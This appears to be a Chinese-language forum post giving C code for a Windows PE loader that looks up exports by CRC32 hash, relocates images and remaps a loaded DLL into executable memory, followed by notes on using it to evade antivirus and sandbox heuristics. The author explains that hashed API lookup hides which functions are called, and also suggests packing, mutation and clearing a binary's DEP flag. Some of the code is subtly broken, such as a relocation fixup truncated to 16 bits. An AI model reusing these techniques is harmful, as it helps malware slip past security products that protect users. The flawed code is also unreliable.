#define __GetNtHeader__(x) ((PIMAGE_NT_HEADERS)((DWORD)__GetDosHeader__(x)->e_lfanew + (DWORD)(x)))
#define __RvaToVa__(base,offset) ((PVOID)((ULONG)(base) + (ULONG)(offset)))
#define __VaToRva__(base,offset) ((PVOID)((ULONG)(offset) - (ULONG)(base)))

typedef HMODULE (WINAPI *FPLoadLibraryA)(LPCSTR pLibName);
typedef ULONG (__stdcall *FPHashFunc)(PUCHAR pTarget, ULONG iTargetSize, PUCHAR pHashValue);
typedef LPVOID (WINAPI *FPVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI *FPDllMain)(HMODULE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);

PIMAGE_DATA_DIRECTORY ExistDataDirectory(PUCHAR pMem, DWORD dwIndex) {
    PIMAGE_NT_HEADERS pNtHeader = __GetNtHeader__(pMem);
    return (PIMAGE_DATA_DIRECTORY)(&pNtHeader->OptionalHeader.DataDirectory[dwIndex]);
}

ULONG __stdcall MyHashFunc(PUCHAR pTarget, ULONG iTargetSize, PUCHAR pHashValue) {
    ULONG dwCrc32 = crc32(pTarget, iTargetSize);
    memcpy(pHashValue, &dwCrc32, sizeof(ULONG));
    return sizeof(ULONG);
}

PIMAGE_SECTION_HEADER GetFirstSectionByNtHeader(PIMAGE_NT_HEADERS pNtH) {
    return IMAGE_FIRST_SECTION(pNtH);
}

BOOL InThisSection(PIMAGE_SECTION_HEADER pSectH, DWORD ofOffset, BOOL bRva) {
    return (bRva ? (ofOffset >= (DWORD)(pSectH->VirtualAddress)) && (ofOffset < (DWORD)(pSectH->VirtualAddress + pSectH->Misc.VirtualSize)) :
        (ofOffset >= (DWORD)(pSectH->PointerToRawData)) && (ofOffset < (DWORD)(pSectH->PointerToRawData + pSectH->SizeOfRawData)));
}

PIMAGE_SECTION_HEADER Rva2Section(PUCHAR pMem, DWORD ofRva) {
    PIMAGE_NT_HEADERS pNtH = __GetNtHeader__(pMem);
    PIMAGE_SECTION_HEADER pSectH = GetFirstSectionByNtHeader(pNtH);
    WORD wNumOfSects = pNtH->FileHeader.NumberOfSections;
    while (wNumOfSects > 0) {
        if (InThisSection(pSectH, ofRva, TRUE))
            break;

        --wNumOfSects;
        ++pSectH;
    }

    return (0 == wNumOfSects ? NULL : pSectH);
}

PIMAGE_SECTION_HEADER Raw2Section(PUCHAR pMem, DWORD ofRaw) {
    PIMAGE_NT_HEADERS pNtH = __GetNtHeader__(pMem);
    PIMAGE_SECTION_HEADER pSectH = GetFirstSectionByNtHeader(pNtH);
    WORD wNumOfSects = pNtH->FileHeader.NumberOfSections;
    while (wNumOfSects > 0) {
        if (InThisSection(pSectH, ofRaw, FALSE))
            break;

        --wNumOfSects;
        pSectH++;
    }

    return (0 == wNumOfSects ? NULL : pSectH);
}

DWORD Rva2Raw(PUCHAR pMem, DWORD ofRva) {
    PIMAGE_SECTION_HEADER pSectH = Rva2Section(pMem, ofRva);
    return ((NULL == pSectH) ? NULL : (ofRva - pSectH->VirtualAddress + pSectH->PointerToRawData));
}

DWORD Raw2Rva(PUCHAR pMem, DWORD ofRaw) {
    PIMAGE_SECTION_HEADER pSectH = Raw2Section(pMem, ofRaw);
    return ((NULL == pSectH) ? NULL : (ofRaw - pSectH->PointerToRawData + pSectH->VirtualAddress));
}

// 函數聲明
FARPROC xLdrGetExportByName(
    PUCHAR pBaseAddress,
    PUCHAR pHashPoint,
    ULONG iHashSize,
    FPHashFunc pHashFunc, FARPROC fpLoadLibraryA
    );
ULONG __stdcall xLdrFixupForwardHashFunc(PUCHAR pTarget, ULONG iTargetSize, PUCHAR pHashValue) {
    memcpy(pHashValue, pTarget, iTargetSize);
    return iTargetSize;
}

FARPROC xLdrFixupForward(PUCHAR pForwardName, FARPROC fpLoadLibraryA) {
    CHAR NameBuffer[128];
    PUCHAR pPoint;
    HMODULE hModule;
    PUCHAR pBaseAddress;
    FARPROC pFunction;
    FPLoadLibraryA pLoadLibraryA = (FPLoadLibraryA)fpLoadLibraryA;

    strcpy(NameBuffer, (char *)pForwardName);
    pPoint = (PUCHAR)strchr(NameBuffer, '.');
    if (pPoint) {
        ULONG iProcLen = 0;

        *pPoint = 0;
        hModule = pLoadLibraryA(NameBuffer);
        if (!hModule) return NULL;

        iProcLen = strlen((char *)pPoint + 1);
        pFunction = xLdrGetExportByName((PUCHAR)hModule,
                                        (PUCHAR)(pPoint + 1),
                                        iProcLen,
                                        (FPHashFunc)xLdrFixupForwardHashFunc,
                                        fpLoadLibraryA);
        return pFunction;
    }

    return NULL;
}

FARPROC xLdrGetExportByOrdinal(PUCHAR pBaseAddress, WORD wOrdinal, FARPROC fpLoadLibraryA) {
    PIMAGE_EXPORT_DIRECTORY pExportDir;
    ULONG iExportDirSize;
    ULONG **pExFunctionsPoint;
    FARPROC pFunction;
    PIMAGE_DATA_DIRECTORY pExportDataDirectory = ExistDataDirectory(pBaseAddress, IMAGE_DIRECTORY_ENTRY_EXPORT);
    pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBaseAddress + pExportDataDirectory->VirtualAddress);
    if (!pExportDir)
        return NULL;
    iExportDirSize = pExportDataDirectory->Size;

    pExFunctionsPoint = (ULONG **)__RvaToVa__(pBaseAddress, pExportDir->AddressOfFunctions);
    pFunction = (FARPROC)(0 != pExFunctionsPoint[wOrdinal - pExportDir->Base]
                ? __RvaToVa__(pBaseAddress, pExFunctionsPoint[wOrdinal - pExportDir->Base])
                : NULL);

    if (((DWORD)pFunction >= (DWORD)pExportDir) &&
        ((DWORD)pFunction < (DWORD)pExportDir + (DWORD)iExportDirSize))
        pFunction = xLdrFixupForward((BYTE *)pFunction, fpLoadLibraryA);

    return pFunction;
}

FARPROC xLdrGetExportByName(PUCHAR pBaseAddress, PUCHAR pHashPoint, ULONG iHashSize, \
                                              FPHashFunc pHashFunc, FARPROC fpLoadLibraryA) {
    WORD wOrdinal = 0;
    ULONG iDirCount = 0;
    ULONG *pAddrTable = NULL;
    ULONG addrAddr = 0;
    ULONG ofRVA = 0;
    ULONG iExpDataSize = 0;
    PIMAGE_EXPORT_DIRECTORY pEd = NULL;
    PIMAGE_NT_HEADERS pNt = NULL;
    PIMAGE_DATA_DIRECTORY pExportDataDirectory = NULL;
    if (pBaseAddress == NULL) return NULL;

    pNt = __GetNtHeader__(pBaseAddress);
    iDirCount = pNt->OptionalHeader.NumberOfRvaAndSizes;
    if (iDirCount < IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return FALSE;
    pExportDataDirectory = ExistDataDirectory(pBaseAddress, IMAGE_DIRECTORY_ENTRY_EXPORT);
    if (!pExportDataDirectory)
        return NULL;
    iExpDataSize = pExportDataDirectory->Size;
    pEd = (PIMAGE_EXPORT_DIRECTORY)__​​RvaToVa__(pBaseAddress, pExportDataDirectory->VirtualAddress);
    if (HIWORD((DWORD)pHashPoint)==0) {
        wOrdinal = (WORD)(LOWORD((DWORD)pHashPoint)) - pEd->Base;
    } else {
        ULONG i, iCount;
        ULONG *pdwNamePtr;
        WORD *pwOrdinalPtr;

        iCount = (ULONG)(pEd->NumberOfNames);
        pdwNamePtr = (ULONG *)__RvaToVa__(pBaseAddress, pEd->AddressOfNames);
        pwOrdinalPtr = (WORD *)__RvaToVa__(pBaseAddress, pEd->AddressOfNameOrdinals);

        for(i = 0; i < iCount; i++) {
            BYTE HashValue[1024];
            CHAR *svName = NULL;
            ULONG iHashValueSize = 0;
            ULONG iSvNameLen = 0;

            svName = (char *)__RvaToVa__(pBaseAddress, *pdwNamePtr);
            iSvNameLen = strlen(svName);
            iHashValueSize = pHashFunc((PUCHAR)svName, iSvNameLen, HashValue);
            if (strcmp("GetLastError", svName) == 0)
            {
                int i = 0;
            }
            if (iHashValueSize == iHashSize) {
                if (memcmp(HashValue, pHashPoint, iHashSize) == 0) {
                    wOrdinal = *pwOrdinalPtr;
                    break;
                }
            }
            pdwNamePtr++;
            pwOrdinalPtr++;
        }
        if (i == iCount) return NULL;
    }

    pAddrTable=(ULONG *)__RvaToVa__(pBaseAddress, pEd->AddressOfFunctions);
    ofRVA = pAddrTable[wOrdinal];
    addrAddr = (ULONG)__RvaToVa__(pBaseAddress, ofRVA);
    if (((ULONG)addrAddr >= (ULONG)pEd) &&
        ((ULONG)addrAddr < (ULONG)pEd + (ULONG)iExpDataSize))
        (FARPROC)addrAddr = xLdrFixupForward((PUCHAR)addrAddr, fpLoadLibraryA);

    return (FARPROC)addrAddr;
}

FARPROC xLdrGetProcedureAddress(PUCHAR pBaseAddress, PUCHAR pHashPoint, ULONG iHashSize, FPHashFunc pHashFunc, FARPROC fpLoadLibraryA) {
    FARPROC pProcedureAddress = NULL;
    ULONG dwOrdinal = (ULONG)pHashPoint;

    if (HIWORD((ULONG)pHashPoint)) {
        pProcedureAddress = xLdrGetExportByName(pBaseAddress, pHashPoint, iHashSize, pHashFunc, fpLoadLibraryA);
    } else {
        dwOrdinal &= 0x0000FFFF;
        pProcedureAddress = xLdrGetExportByOrdinal(pBaseAddress, (WORD)dwOrdinal, fpLoadLibraryA);
    }
    return pProcedureAddress;
}

FARPROC g_pLoadLibraryAInGetProcAddressByCrc32 = NULL;

VOID xInitGetProcAddress(FARPROC pLoadLibraryA) {
    g_pLoadLibraryAInGetProcAddressByCrc32 = pLoadLibraryA;
}

FARPROC xGetProcAddressByCrc32(HMODULE hModule, PUCHAR pCrc32Point) {
    FARPROC pProc = NULL;
    pProc = xLdrGetProcedureAddress((PUCHAR)hModule,
                                    pCrc32Point,
                                    sizeof(DWORD),
                                    MyHashFunc,
                                    (FARPROC)g_pLoadLibraryAInGetProcAddressByCrc32);
    return pProc;
}

// 重定位所需結構
#pragma pack(push,1)
// 修復入口
typedef struct _IMAGE_FIXUP_ENTRY {
    WORD offset:12;
    WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
// 重定位塊
typedef struct _IMAGE_FIXUP_BLOCK {
    DWORD dwPageRVA;
    DWORD dwBlockSize;
} IMAGE_FIXUP_BLOCK, *PIMAGE_FIXUP_BLOCK;
#pragma pack(pop)
BOOL BaseRelocation(PUCHAR pMem, DWORD addrOldImageBase, DWORD addrNewImageBase, BOOL bIsInFile) {
    PIMAGE_NT_HEADERS pNtHdr = NULL;
    DWORD delta = (DWORD)(addrNewImageBase - addrOldImageBase);
    DWORD *pFixAddRhi = NULL;
    BOOL bHaveFixAddRhi = FALSE;
    DWORD iRelocSize = 0;

    pNtHdr = __GetNtHeader__(pMem);
    iRelocSize = pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

    if ((delta) && (iRelocSize)) {
        PIMAGE_FIXUP_BLOCK pStartFB = NULL;
        PIMAGE_FIXUP_BLOCK pIBR = NULL;
        if (bIsInFile) {
            DWORD iRelocRaw = Rva2Raw(pMem, pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
            pIBR = (PIMAGE_FIXUP_BLOCK)(pMem + iRelocRaw);
        } else {
            pIBR = (PIMAGE_FIXUP_BLOCK)__RvaToVa__(addrNewImageBase, pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
        }
        pStartFB = pIBR;

        // 遍歷每個重定位塊
        while ((DWORD)(pIBR - pStartFB) < iRelocSize) {
            PIMAGE_FIXUP_ENTRY pFE;
            DWORD i, iCount = 0;
            if (pIBR->dwBlockSize > 0) {
                iCount=(pIBR->dwBlockSize - sizeof(IMAGE_FIXUP_BLOCK)) / sizeof(IMAGE_FIXUP_ENTRY);
                pFE = (PIMAGE_FIXUP_ENTRY)(((PUCHAR)pIBR) + sizeof(IMAGE_FIXUP_BLOCK));
            } else {
                //pIBR = (PIMAGE_FIXUP_BLOCK)(((__memory)pIBR) + sizeof(IMAGE_FIXUP_BLOCK));
                //continue;
                break;
            }

            // 修復每個入口
            for (i = 0; i < iCount; i++) {
                PUCHAR pFixAddr = NULL;
                if (bIsInFile) {//如果在文件中
                    DWORD ofRva = pIBR->dwPageRVA + pFE->offset;
                    DWORD ofRaw = Rva2Raw(pMem, ofRva);
                    pFixAddr = pMem + ofRaw;
                } else {//如果在內存中
                    pFixAddr = (PUCHAR)__RvaToVa__(addrNewImageBase, pIBR->dwPageRVA + pFE->offset);
                }

                switch (pFE->type)
                {
#if defined(_X86_)
                case IMAGE_REL_BASED_ABSOLUTE:
                    break;
                case IMAGE_REL_BASED_HIGH:
                    *((signed short *)pFixAddr) += (signed short)HIWORD(delta);
                    break;
                case IMAGE_REL_BASED_LOW:
                    *((signed short *)pFixAddr) += (signed short)LOWORD(delta);
                    break;
                case IMAGE_REL_BASED_HIGHLOW:
                    *((signed short *)pFixAddr) += (signed short)delta;
                    break;
                case IMAGE_REL_BASED_HIGHADJ: // This one's really fucked up.
                    {
                        DWORD dwAdjust;
                        dwAdjust = ((*((WORD *)pFixAddr)) << 16) | (*(WORD *)(pFE + 1));
                        (signed long)dwAdjust += (signed long)delta;
                        dwAdjust += 0x00008000;
                        *((WORD *)pFixAddr) = HIWORD(dwAdjust);
                    }
                    pFE++;
                    break;
#endif
                default:
                    return FALSE;
                }/* end switch */
                pFE++;
            }/* end for */

            pIBR = (PIMAGE_FIXUP_BLOCK)((PUCHAR)pIBR + pIBR->dwBlockSize);
        }/* end while */
    }
    return TRUE;
}

// 重映射DLL
PUCHAR RemapDllEx(PUCHAR pOrigMap, FPVirtualAlloc pVirtualAlloc) {
    PUCHAR pNewMap = NULL;
    DWORD iSizeOfImage = 0;
    FPDllMain pDllMain = NULL;
    PIMAGE_NT_HEADERS pOrigMapNtHdr = NULL;

    pOrigMapNtHdr = __GetNtHeader__(pOrigMap);
    iSizeOfImage = pOrigMapNtHdr->OptionalHeader.SizeOfImage;
    pNewMap = (PUCHAR)pVirtualAlloc(NULL, iSizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pNewMap) return NULL;
    memset(pNewMap, 0, iSizeOfImage);
    memcpy(pNewMap, pOrigMap, iSizeOfImage);
    // 進行重定位
    BaseRelocation(pNewMap, (DWORD)pOrigMap, (DWORD)pNewMap, FALSE);
    // 獲取到入口點地址,並運行
    //pDllMain = (FPDllMain)(pNewMap + (pOrigMapNtHdr->OptionalHeader.AddressOfEntryPoint));
    //pDllMain((HMODULE)pNewMap, DLL_PROCESS_ATTACH, NULL);
    return pNewMap;
}

PUCHAR RemapDll(PUCHAR pOrigMap) {
    return RemapDllEx(pOrigMap, VirtualAlloc);
}
在LoadLibrary後使用Remap重新映射出一個句柄,再使用xGetProcAddress使用預定義的Hash值獲取API地址。這樣虛擬機在跑的過程中就不能判別調用的地址到底是哪個函數,達到通過虛擬機啟發式的檢測。

代碼上用到了crc32算法不貼了自己寫吧。這是在SOURCE上的免殺,如果是BIN,就做殼。在處理引入表的時候,重新映射,或許可以加一些stub之類的。還有變形。這樣保護性能也可以提高。 。 。

如果開啟了DEP選項,在SOUCE時在C++編譯便簽修改為DEP不兼容,如果是BIN上把BIN的DLL屬性的DEP兼容清位就可以了。如果目標機器開啟DEP 2級。那麼就神馬都是浮云了。 。 。